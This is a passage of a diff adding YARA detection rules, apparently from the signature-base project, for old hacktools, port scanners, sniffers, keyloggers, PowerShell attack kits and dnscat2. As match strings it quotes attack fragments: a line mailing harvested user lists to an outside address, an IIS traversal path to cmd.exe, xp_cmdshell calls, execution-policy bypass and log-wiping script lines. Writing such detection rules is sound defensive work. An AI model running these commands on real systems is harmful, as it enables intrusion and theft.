+      $s1 = "Unable to resolve hostname \"%s\"" fullword ascii
+      $s2 = " -s    - outbound connection source port number" fullword ascii
+      $s3 = "source port for that outbound connection being set to 53 also." fullword ascii
+      $s4 = "http://www.foundstone.com" fullword ascii
+      $s19 = "FPipe" fullword ascii
+   condition:
+      all of them
+}
+
+rule InstGina {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file InstGina.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "5317fbc39508708534246ef4241e78da41a4f31c"
+      id = "ccbda689-e61a-501d-a8ed-62e3c1c20289"
+   strings:
+      $s0 = "To Open Registry" fullword ascii
+      $s4 = "I love Candy very much!!" ascii
+      $s5 = "GinaDLL" fullword ascii
+   condition:
+      all of them
+}
+
+rule ArtTray_zip_Folder_ArtTray {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file ArtTray.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "ee1edc8c4458c71573b5f555d32043cbc600a120"
+      id = "d29909a4-8663-54c7-8f0e-68b15def869f"
+   strings:
+      $s0 = "http://www.brigsoft.com" fullword wide
+      $s2 = "ArtTrayHookDll.dll" fullword ascii
+      $s3 = "ArtTray Version 1.0 " fullword wide
+      $s16 = "TRM_HOOKCALLBACK" fullword ascii
+   condition:
+      all of them
+}
+
+rule sig_238_findoor {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file findoor.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "cdb1ececceade0ecdd4479ecf55b0cc1cf11cdce"
+      id = "61215a76-8c29-505d-bfef-a5f13fec476c"
+   strings:
+      $s0 = "(non-Win32 .EXE or error in .EXE image)." fullword ascii
+      $s8 = "PASS hacker@hacker.com" fullword ascii
+      $s9 = "/scripts/..%c1%1c../winnt/system32/cmd.exe" fullword ascii
+      $s10 = "MAIL FROM:hacker@hacker.com" fullword ascii
+      $s11 = "http://isno.yeah.net" fullword ascii
+   condition:
+      4 of them
+}
+
+rule aspbackdoor_ipclear {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file ipclear.vbs"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "9f8fdfde4b729516330eaeb9141fb2a7ff7d0098"
+      id = "71ebecea-721f-5c5d-9997-6a57f070d91c"
+   strings:
+      $s0 = "Set ServiceObj = GetObject(\"WinNT://\" & objNet.ComputerName & \"/w3svc\")" fullword ascii
+      $s1 = "wscript.Echo \"USAGE:KillLog.vbs LogFileName YourIP.\"" fullword ascii
+      $s2 = "Set txtStreamOut = fso.OpenTextFile(destfile, ForWriting, True)" fullword ascii
+      $s3 = "Set objNet = WScript.CreateObject( \"WScript.Network\" )" fullword ascii
+      $s4 = "Set fso = CreateObject(\"Scripting.FileSystemObject\")" fullword ascii
+   condition:
+      all of them
+}
+
+rule WinEggDropShellFinal_zip_Folder_InjectT {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file InjectT.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "516e80e4a25660954de8c12313e2d7642bdb79dd"
+      id = "16f04551-050f-5a07-a35b-a3a7dbba6803"
+   strings:
+      $s0 = "Packed by exe32pack" ascii
+      $s1 = "2TInject.Dll" fullword ascii
+      $s2 = "Windows Services" fullword ascii
+      $s3 = "Findrst6" fullword ascii
+      $s4 = "Press Any Key To Continue......" fullword ascii
+   condition:
+      all of them
+}
+
+rule gina_zip_Folder_gina {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file gina.dll"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "e0429e1b59989cbab6646ba905ac312710f5ed30"
+      id = "7ebc7218-9c7b-5595-ae7b-f316fc99d1f6"
+   strings:
+      $s0 = "NEWGINA.dll" fullword ascii
+      $s1 = "LOADER ERROR" fullword ascii
+      $s3 = "WlxActivateUserShell" fullword ascii
+      $s6 = "WlxWkstaLockedSAS" fullword ascii
+      $s13 = "WlxIsLockOk" fullword ascii
+      $s14 = "The procedure entry point %s could not be located in the dynamic link library %s" fullword ascii
+      $s16 = "WlxShutdown" fullword ascii
+      $s17 = "The ordinal %u could not be located in the dynamic link library %s" fullword ascii
+   condition:
+      all of them
+}
+
+rule superscan3_0 {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file superscan3.0.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "a9a02a14ea4e78af30b8b4a7e1c6ed500a36bc4d"
+      id = "d22aa3ae-4c62-5007-896d-7c473f0421a6"
+   strings:
+      $s0 = "\\scanner.ini" ascii
+      $s1 = "\\scanner.exe" ascii
+      $s2 = "\\scanner.lst" ascii
+      $s4 = "\\hensss.lst" ascii
+      $s5 = "STUB32.EXE" fullword wide
+      $s6 = "STUB.EXE" fullword wide
+      $s8 = "\\ws2check.exe" ascii
+      $s9 = "\\trojans.lst" ascii
+      $s10 = "1996 InstallShield Software Corporation" fullword wide
+   condition:
+      all of them
+}
+
+rule sig_238_xsniff {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file xsniff.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "d61d7329ac74f66245a92c4505a327c85875c577"
+      id = "1e61a732-8691-5f84-beb0-c9f7e6d46538"
+   strings:
+      $s2 = "xsiff.exe -pass -hide -log pass.log" fullword ascii
+      $s3 = "%s - simple sniffer for win2000" fullword ascii
+      $s4 = "xsiff.exe -tcp -udp -asc -addr 192.168.1.1" fullword ascii
+      $s5 = "HOST: %s USER: %s, PASS: %s" fullword ascii
+      $s7 = "http://www.xfocus.org" fullword ascii
+      $s9 = "  -pass        : Filter username/password" fullword ascii
+      $s18 = "  -udp         : Output udp packets" fullword ascii
+      $s19 = "Code by glacier <glacier@xfocus.org>" fullword ascii
+      $s20 = "  -tcp         : Output tcp packets" fullword ascii
+   condition:
+      6 of them
+}
+
+rule sig_238_fscan {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - file fscan.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      hash = "d5646e86b5257f9c83ea23eca3d86de336224e55"
+      id = "7af4d38a-bc88-57ba-b602-4e01d3d95015"
+   strings:
+      $s0 = "FScan v1.12 - Command line port scanner." fullword ascii
+      $s2 = " -n    - no port scanning - only pinging (unless you use -q)" fullword ascii
+      $s5 = "Example: fscan -bp 80,100-200,443 10.0.0.1-10.0.1.200" fullword ascii
+      $s6 = " -z    - maximum simultaneous threads to use for scanning" fullword ascii
+      $s12 = "Failed to open the IP list file \"%s\"" fullword ascii
+      $s13 = "http://www.foundstone.com" fullword ascii
+      $s16 = " -p    - TCP port(s) to scan (a comma separated list of ports/ranges) " fullword ascii
+      $s18 = "Bind port number out of range. Using system default." fullword ascii
+      $s19 = "fscan.exe" fullword wide
+   condition:
+      4 of them
+}
+
+rule _iissample_nesscan_twwwscan {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - from files iissample.exe, nesscan.exe, twwwscan.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      super_rule = 1
+      hash0 = "7f20962bbc6890bf48ee81de85d7d76a8464b862"
+      hash1 = "c0b1a2196e82eea4ca8b8c25c57ec88e4478c25b"
+      hash2 = "548f0d71ef6ffcc00c0b44367ec4b3bb0671d92f"
+      id = "a710ca8e-54dc-5a98-b173-c87b22af745f"
+   strings:
+      $s0 = "Connecting HTTP Port - Result: " fullword
+      $s1 = "No space for command line argument vector" fullword
+      $s3 = "Microsoft(July/1999~) http://www.microsoft.com/technet/security/current.asp" fullword
+      $s5 = "No space for copy of command line" fullword
+      $s7 = "-  Windows NT,2000 Patch Method  - " fullword
+      $s8 = "scanf : floating point formats not linked" fullword
+      $s12 = "hrdir_b.c: LoadLibrary != mmdll borlndmm failed" fullword
+      $s13 = "!\"what?\"" fullword
+      $s14 = "%s Port %d Closed" fullword
+      $s16 = "printf : floating point formats not linked" fullword
+      $s17 = "xxtype.cpp" fullword
+   condition:
+      all of them
+}
+
+rule _FsHttp_FsPop_FsSniffer {
+   meta:
+      description = "Disclosed hacktool set (old stuff) - from files FsHttp.exe, FsPop.exe, FsSniffer.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "23.11.14"
+      score = 60
+      super_rule = 1
+      hash0 = "9d4e7611a328eb430a8bb6dc7832440713926f5f"
+      hash1 = "ae23522a3529d3313dd883727c341331a1fb1ab9"
+      hash2 = "7ffc496cd4a1017485dfb571329523a52c9032d8"
+      id = "5ca543af-2589-52b0-83f9-ad25ba76b633"
+   strings:
+      $s0 = "-ERR Invalid Command, Type [Help] For Command List" fullword
+      $s1 = "-ERR Get SMS Users ID Failed" fullword
+      $s2 = "Control Time Out 90 Secs, Connection Closed" fullword
+      $s3 = "-ERR Post SMS Failed" fullword
+      $s4 = "Current.hlt" fullword
+      $s6 = "Histroy.hlt" fullword
+      $s7 = "-ERR Send SMS Failed" fullword
+      $s12 = "-ERR Change Password <New Password>" fullword
+      $s17 = "+OK Send SMS Succussifully" fullword
+      $s18 = "+OK Set New Password: [%s]" fullword
+      $s19 = "CHANGE PASSWORD" fullword
+   condition:
+      all of them
+}
+
+rule Ammyy_Admin_AA_v3 {
+   meta:
+      description = "Remote Admin Tool used by APT group Anunak (ru) - file AA_v3.4.exe and AA_v3.5.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://goo.gl/gkAg2E"
+      date = "2014/12/22"
+      score = 55
+      hash1 = "b130611c92788337c4f6bb9e9454ff06eb409166"
+      hash2 = "07539abb2623fe24b9a05e240f675fa2d15268cb"
+      id = "bb140cb7-9f56-5acb-883e-080dfd3f60d5"
+   strings:
+      $x1 = "S:\\Ammyy\\sources\\target\\TrService.cpp" fullword ascii
+      $x2 = "S:\\Ammyy\\sources\\target\\TrDesktopCopyRect.cpp" fullword ascii
+      $x3 = "Global\\Ammyy.Target.IncomePort" fullword ascii
+      $x4 = "S:\\Ammyy\\sources\\target\\TrFmFileSys.cpp" fullword ascii
+      $x5 = "Please enter password for accessing remote computer" fullword ascii
+
+      $s1 = "CreateProcess1()#3 %d error=%d" fullword ascii
+      $s2 = "CHttpClient::SendRequest2(%s, %s, %d) error: invalid host name." fullword ascii
+      $s3 = "ERROR: CreateProcessAsUser() error=%d, session=%d" fullword ascii
+      $s4 = "ERROR: FindProcessByName('explorer.exe')" fullword ascii
+   condition:
+      2 of ($x*) or all of ($s*)
+}
+
+/* Other dumper and custom hack tools */
+
+rule LinuxHacktool_eyes_scanssh {
+   meta:
+      description = "Linux hack tools - file scanssh"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "not set"
+      date = "2015/01/19"
+      hash = "467398a6994e2c1a66a3d39859cde41f090623ad"
+      id = "9546d0d8-42af-5b4c-ac93-195d14bfbb5b"
+   strings:
+      $s0 = "Connection closed by remote host" fullword ascii
+      $s1 = "Writing packet : error on socket (or connection closed): %s" fullword ascii
+      $s2 = "Remote connection closed by signal SIG%s %s" fullword ascii
+      $s4 = "Reading private key %s failed (bad passphrase ?)" fullword ascii
+      $s5 = "Server closed connection" fullword ascii
+      $s6 = "%s: line %d: list delimiter not followed by keyword" fullword ascii
+      $s8 = "checking for version `%s' in file %s required by file %s" fullword ascii
+      $s9 = "Remote host closed connection" fullword ascii
+      $s10 = "%s: line %d: bad command `%s'" fullword ascii
+      $s13 = "verifying that server is a known host : file %s not found" fullword ascii
+      $s14 = "%s: line %d: expected service, found `%s'" fullword ascii
+      $s15 = "%s: line %d: list delimiter not followed by domain" fullword ascii
+      $s17 = "Public key from server (%s) doesn't match user preference (%s)" fullword ascii
+   condition:
+      all of them
+}
+
+rule LinuxHacktool_eyes_pscan2 {
+   meta:
+      description = "Linux hack tools - file pscan2"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "not set"
+      date = "2015/01/19"
+      hash = "56b476cba702a4423a2d805a412cae8ef4330905"
+      id = "02d96766-6696-5410-ad48-bd8cb642ac51"
+   strings:
+      $s0 = "# pscan completed in %u seconds. (found %d ips)" fullword ascii
+      $s1 = "Usage: %s <b-block> <port> [c-block]" fullword ascii
+      $s3 = "%s.%d.* (total: %d) (%.1f%% done)" fullword ascii
+      $s8 = "Invalid IP." fullword ascii
+      $s9 = "# scanning: " fullword ascii
+      $s10 = "Unable to allocate socket." fullword ascii
+   condition:
+      2 of them
+}
+
+rule LinuxHacktool_eyes_a {
+   meta:
+      description = "Linux hack tools - file a"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "not set"
+      date = "2015/01/19"
+      hash = "458ada1e37b90569b0b36afebba5ade337ea8695"
+      id = "2b4f52d4-b438-5040-89c5-aab1df15200e"
+   strings:
+      $s0 = "cat trueusers.txt | mail -s \"eyes\" clubby@slucia.com" fullword ascii
+      $s1 = "mv scan.log bios.txt" fullword ascii
+      $s2 = "rm -rf bios.txt" fullword ascii
+      $s3 = "echo -e \"# by Eyes.\"" fullword ascii
+      $s4 = "././pscan2 $1 22" fullword ascii
+      $s10 = "echo \"#cautam...\"" fullword ascii
+   condition:
+      2 of them
+}
+
+rule LinuxHacktool_eyes_mass {
+   meta:
+      description = "Linux hack tools - file mass"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "not set"
+      date = "2015/01/19"
+      hash = "2054cb427daaca9e267b252307dad03830475f15"
+      id = "5da0c474-2dc8-5580-bf5c-d3f464225e4c"
+   strings:
+      $s0 = "cat trueusers.txt | mail -s \"eyes\" clubby@slucia.com" fullword ascii
+      $s1 = "echo -e \"${BLU}Private Scanner By Raphaello , DeMMoNN , tzepelush & DraC\\n\\r" ascii
+      $s3 = "killall -9 pscan2" fullword ascii
+      $s5 = "echo \"[*] ${DCYN}Gata esti h4x0r ;-)${RES}  [*]\"" fullword ascii
+      $s6 = "echo -e \"${DCYN}@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#${RES}\"" fullword ascii
+   condition:
+      1 of them
+}
+
+rule LinuxHacktool_eyes_pscan2_2 {
+   meta:
+      description = "Linux hack tools - file pscan2.c"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "not set"
+      date = "2015/01/19"
+      hash = "eb024dfb441471af7520215807c34d105efa5fd8"
+      id = "3950b235-70bc-5afd-add5-38c50055b28b"
+   strings:
+      $s0 = "snprintf(outfile, sizeof(outfile) - 1, \"scan.log\", argv[1], argv[2]);" fullword ascii
+      $s2 = "printf(\"Usage: %s <b-block> <port> [c-block]\\n\", argv[0]);" fullword ascii
+      $s3 = "printf(\"\\n# pscan completed in %u seconds. (found %d ips)\\n\", (time(0) - sca" ascii
+      $s19 = "connlist[i].addr.sin_family = AF_INET;" fullword ascii
+      $s20 = "snprintf(last, sizeof(last) - 1, \"%s.%d.* (total: %d) (%.1f%% done)\"," fullword ascii
+   condition:
+      2 of them
+}
+
+rule CN_Portscan : APT
+{
+    meta:
+        description = "CN Port Scanner"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        date = "2013-11-29"
+        confidential = false
+      score = 70
+        id = "fb52a89a-2270-5170-9874-9278a0177454"
+    strings:
+      $s2 = "TCP 12.12.12.12"
+    condition:
+        uint16(0) == 0x5A4D and $s2
+}
+
+rule WMI_vbs : APT
+{
+    meta:
+        description = "WMI Tool - APT"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        date = "2013-11-29"
+        confidential = false
+      score = 70
+        id = "b367306a-38d8-5f4d-8f09-2bf025831f0a"
+    strings:
+      $s3 = "WScript.Echo \"   $$\\      $$\\ $$\\      $$\\ $$$$$$\\ $$$$$$$$\\ $$\\   $$\\ $$$$$$$$\\  $$$$$$"
+    condition:
+        all of them
+}
+
+rule CN_Toolset__XScanLib_XScanLib_XScanLib {
+   meta:
+      description = "Detects a Chinese hacktool from a disclosed toolset - from files XScanLib.dll, XScanLib.dll, XScanLib.dll"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://qiannao.com/ls/905300366/33834c0c/"
+      date = "2015/03/30"
+      score = 70
+      super_rule = 1
+      hash0 = "af419603ac28257134e39683419966ab3d600ed2"
+      hash1 = "c5cb4f75cf241f5a9aea324783193433a42a13b0"
+      hash2 = "135f6a28e958c8f6a275d8677cfa7cb502c8a822"
+      id = "c32415f4-044c-50ef-9c4c-b9327cbcef69"
+   strings:
+      $s1 = "Plug-in thread causes an exception, failed to alert user." fullword
+      $s2 = "PlugGetUdpPort" fullword
+      $s3 = "XScanLib.dll" fullword
+      $s4 = "PlugGetTcpPort" fullword
+      $s11 = "PlugGetVulnNum" fullword
+   condition:
+      all of them
+}
+
+rule CN_Toolset_NTscan_PipeCmd {
+   meta:
+      description = "Detects a Chinese hacktool from a disclosed toolset - file PipeCmd.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://qiannao.com/ls/905300366/33834c0c/"
+      date = "2015/03/30"
+      score = 70
+      hash = "a931d65de66e1468fe2362f7f2e0ee546f225c4e"
+      id = "056ee42d-23f4-5b03-b240-392bc92b90b0"
+   strings:
+      $s2 = "Please Use NTCmd.exe Run This Program." fullword ascii
+      $s3 = "PipeCmd.exe" fullword wide
+      $s4 = "\\\\.\\pipe\\%s%s%d" fullword ascii
+      $s5 = "%s\\pipe\\%s%s%d" fullword ascii
+      $s6 = "%s\\ADMIN$\\System32\\%s%s" fullword ascii
+      $s7 = "%s\\ADMIN$\\System32\\%s" fullword ascii
+      $s9 = "PipeCmdSrv.exe" fullword ascii
+      $s10 = "This is a service executable! Couldn't start directly." fullword ascii
+      $s13 = "\\\\.\\pipe\\PipeCmd_communicaton" fullword ascii
+      $s14 = "PIPECMDSRV" fullword wide
+      $s15 = "PipeCmd Service" fullword ascii
+   condition:
+      4 of them
+}
+
+rule CN_Toolset_LScanPortss_2 {
+   meta:
+      description = "Detects a Chinese hacktool from a disclosed toolset - file LScanPortss.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://qiannao.com/ls/905300366/33834c0c/"
+      date = "2015/03/30"
+      score = 70
+      hash = "4631ec57756466072d83d49fbc14105e230631a0"
+      id = "0a796585-5fc8-5b55-acfc-3fe87308b681"
+   strings:
+      $s1 = "LScanPort.EXE" fullword wide
+      $s3 = "www.honker8.com" fullword wide
+      $s4 = "DefaultPort.lst" fullword ascii
+      $s5 = "Scan over.Used %dms!" fullword ascii
+      $s6 = "www.hf110.com" fullword wide
+      $s15 = "LScanPort Microsoft " fullword wide
+      $s18 = "L-ScanPort2.0 CooFly" fullword wide
+   condition:
+      4 of them
+}
+
+rule CN_Toolset_sig_1433_135_sqlr {
+   meta:
+      description = "Detects a Chinese hacktool from a disclosed toolset - file sqlr.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://qiannao.com/ls/905300366/33834c0c/"
+      date = "2015/03/30"
+      score = 70
+      hash = "8542c7fb8291b02db54d2dc58cd608e612bfdc57"
+      id = "74038975-ef06-53d6-bdcc-02706408b596"
+   strings:
+      $s0 = "Connect to %s MSSQL server success. Type Command at Prompt." fullword ascii
+      $s11 = ";DATABASE=master" fullword ascii
+      $s12 = "xp_cmdshell '" fullword ascii
+      $s14 = "SELECT * FROM OPENROWSET('SQLOLEDB','Trusted_Connection=Yes;Data Source=myserver" ascii
+   condition:
+      all of them
+}
+
+rule DarkComet_Keylogger_File
+{
+   meta:
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      description = "Looks like a keylogger file created by DarkComet Malware"
+      date = "25.07.14"
+      score = 50
+      id = "65058450-3ae3-5b85-bcc5-8bc1fab14614"
+   strings:
+      $entry = /\n:: [A-Z]/
+      $timestamp = /\([0-9]?[0-9]:[0-9][0-9]:[0-9][0-9] [AP]M\)/
+   condition:
+      uint16(0) == 0x3A3A and #entry > 10 and #timestamp > 10
+}
+
+rule VSSown_VBS {
+   meta:
+      description = "Detects VSSown.vbs script - used to export shadow copy elements like NTDS to take away and crack elsewhere"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "2015-10-01"
+      score = 75
+      id = "ffbb5faf-3522-50dc-a568-503074ac0636"
+   strings:
+      $s0 = "Select * from Win32_Service Where Name ='VSS'" ascii
+      $s1 = "Select * From Win32_ShadowCopy" ascii
+      $s2 = "cmd /C mklink /D " ascii
+      $s3 = "ClientAccessible" ascii
+      $s4 = "WScript.Shell" ascii
+      $s5 = "Win32_Process" ascii
+   condition:
+      all of them
+}
+
+rule Netview_Hacktool {
+   meta:
+      description = "Network domain enumeration tool - often used by attackers - file Nv.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/mubix/netview"
+      date = "2016-03-07"
+      score = 60
+      hash = "52cec98839c3b7d9608c865cfebc904b4feae0bada058c2e8cdbd561cfa1420a"
+      id = "087e2fd7-726e-5c6b-ba99-e20dd3337d6a"
+   strings:
+      $s1 = "[+] %ws - Target user found - %s\\%s" fullword wide
+      $s2 = "[*] -g used without group specified - using \"Domain Admins\"" fullword ascii
+      $s3 = "[*] -i used without interval specified - ignoring" fullword ascii
+      $s4 = "[+] %ws - Session - %s from %s - Active: %d - Idle: %d" fullword wide
+      $s5 = "[+] %ws - Backup Domain Controller" fullword wide
+      $s6 = "[-] %ls - Share - Error: %ld" fullword wide
+      $s7 = "[-] %ls - Session - Error: %ld" fullword wide
+      $s8 = "[+] %s - OS Version - %d.%d" fullword ascii
+      $s9 = "Enumerating Logged-on Users" fullword ascii
+      $s10 = ": Specifies a domain to pull a list of hosts from" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 500KB and 2 of them ) or 3 of them
+}
+
+rule Netview_Hacktool_Output {
+   meta:
+      description = "Network domain enumeration tool output - often used by attackers - file filename.txt"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/mubix/netview"
+      date = "2016-03-07"
+      score = 60
+      id = "259db870-6293-5a55-b56a-f981c060c18f"
+   strings:
+      $s1 = "[*] Using interval:" fullword
+      $s2 = "[*] Using jitter:" fullword
+      $s3 = "[+] Number of hosts:" fullword
+   condition:
+      2 of them
+}
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2016-03-09
+   Identifier: PSattack
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule PSAttack_EXE {
+   meta:
+      description = "PSAttack - Powershell attack tool - file PSAttack.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/gdssecurity/PSAttack/releases/"
+      date = "2016-03-09"
+      modified = "2023-01-06"
+      score = 100
+      hash = "ad05d75640c850ee7eeee26422ba4f157be10a4e2d6dc6eaa19497d64cf23715"
+      id = "87f7956a-f607-5e14-a940-5080499cf682"
+   strings:
+      $x1 = "\\Release\\PSAttack.pdb"
+
+      $s1 = "set-executionpolicy bypass -Scope process -Force" fullword wide
+      $s2 = "PSAttack.Modules." ascii
+      $s3 = "PSAttack.PSAttackProcessing" fullword ascii
+      $s4 = "PSAttack.Modules.key.txt" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and ( $x1 or 2 of ($s*) ) ) or 3 of them
+}
+
+rule Powershell_Attack_Scripts {
+   meta:
+      description = "Powershell Attack Scripts"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "2016-03-09"
+      score = 70
+      id = "e8c4a672-229b-56c8-811b-071ae9ff341e"
+   strings:
+      $s1 = "PowershellMafia\\Invoke-Shellcode.ps1" ascii
+      $s2 = "Nishang\\Do-Exfiltration.ps1" ascii
+      $s3 = "PowershellMafia\\Invoke-Mimikatz.ps1" ascii
+      $s4 = "Inveigh\\Inveigh.ps1" ascii
+   condition:
+      1 of them
+}
+
+rule PSAttack_ZIP {
+   meta:
+      description = "PSAttack - Powershell attack tool - file PSAttack.zip"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/gdssecurity/PSAttack/releases/"
+      date = "2016-03-09"
+      score = 100
+      hash = "3864f0d44f90404be0c571ceb6f95bbea6c527bbfb2ec4a2b4f7d92e982e15a2"
+      id = "4e064eb4-0b87-590c-9ee4-6764b982c006"
+   strings:
+      $s0 = "PSAttack.exe" fullword ascii
+   condition:
+      uint16(0) == 0x4b50 and all of them
+}
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2016-04-01
+   Identifier: Linux Hacktool Shark
+*/
+
+/* Super Rules ------------------------------------------------------------- */
+
+rule Linux_Portscan_Shark_1 {
+   meta:
+      description = "Detects Linux Port Scanner Shark"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Virustotal Research - see https://github.com/Neo23x0/Loki/issues/35"
+      date = "2016-04-01"
+      super_rule = 1
+      hash1 = "4da0e535c36c0c52eaa66a5df6e070c52e7ddba13816efc3da5691ea2ec06c18"
+      hash2 = "e395ca5f932419a4e6c598cae46f17b56eb7541929cdfb67ef347d9ec814dea3"
+      id = "0b264106-3536-56f4-9e8c-68f3756af07d"
+   strings:
+      $s0 = "rm -rf scan.log session.txt" fullword ascii
+      $s17 = "*** buffer overflow detected ***: %s terminated" fullword ascii
+      $s18 = "*** stack smashing detected ***: %s terminated" fullword ascii
+   condition:
+      ( uint16(0) == 0x7362 and all of them )
+}
+
+rule Linux_Portscan_Shark_2 {
+   meta:
+      description = "Detects Linux Port Scanner Shark"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Virustotal Research - see https://github.com/Neo23x0/Loki/issues/35"
+      date = "2016-04-01"
+      super_rule = 1
+      hash1 = "5f80bd2db608a47e26290f3385eeb5bfc939d63ba643f06c4156704614def986"
+      hash2 = "90af44cbb1c8a637feda1889d301d82fff7a93b0c1a09534909458a64d8d8558"
+      id = "eea378d5-0399-5035-8573-139878fa1abc"
+   strings:
+      $s1 = "usage: %s <fisier ipuri> <fisier useri:parole> <connect timeout> <fail2ban wait> <threads> <outfile> <port>" fullword ascii
+      $s2 = "Difference between server modulus and host modulus is only %d. It's illegal and may not work" fullword ascii
+      $s3 = "rm -rf scan.log" fullword ascii
+   condition:
+      all of them
+}
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2016-05-15
+   Identifier: dnscat2
+*/
+
+rule dnscat2_Hacktool {
+   meta:
+      description = "Detects dnscat2 - from files dnscat, dnscat2.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://downloads.skullsecurity.org/dnscat2/"
+      date = "2016-05-15"
+      super_rule = 1
+      hash1 = "8bc8d6c735937c9c040cbbdcfc15f17720a7ecef202a19a7bf43e9e1c66fe66a"
+      hash2 = "4a882f013419695c8c0ac41d8a0fde1cf48172a89e342c504138bc6f1d13c7c8"
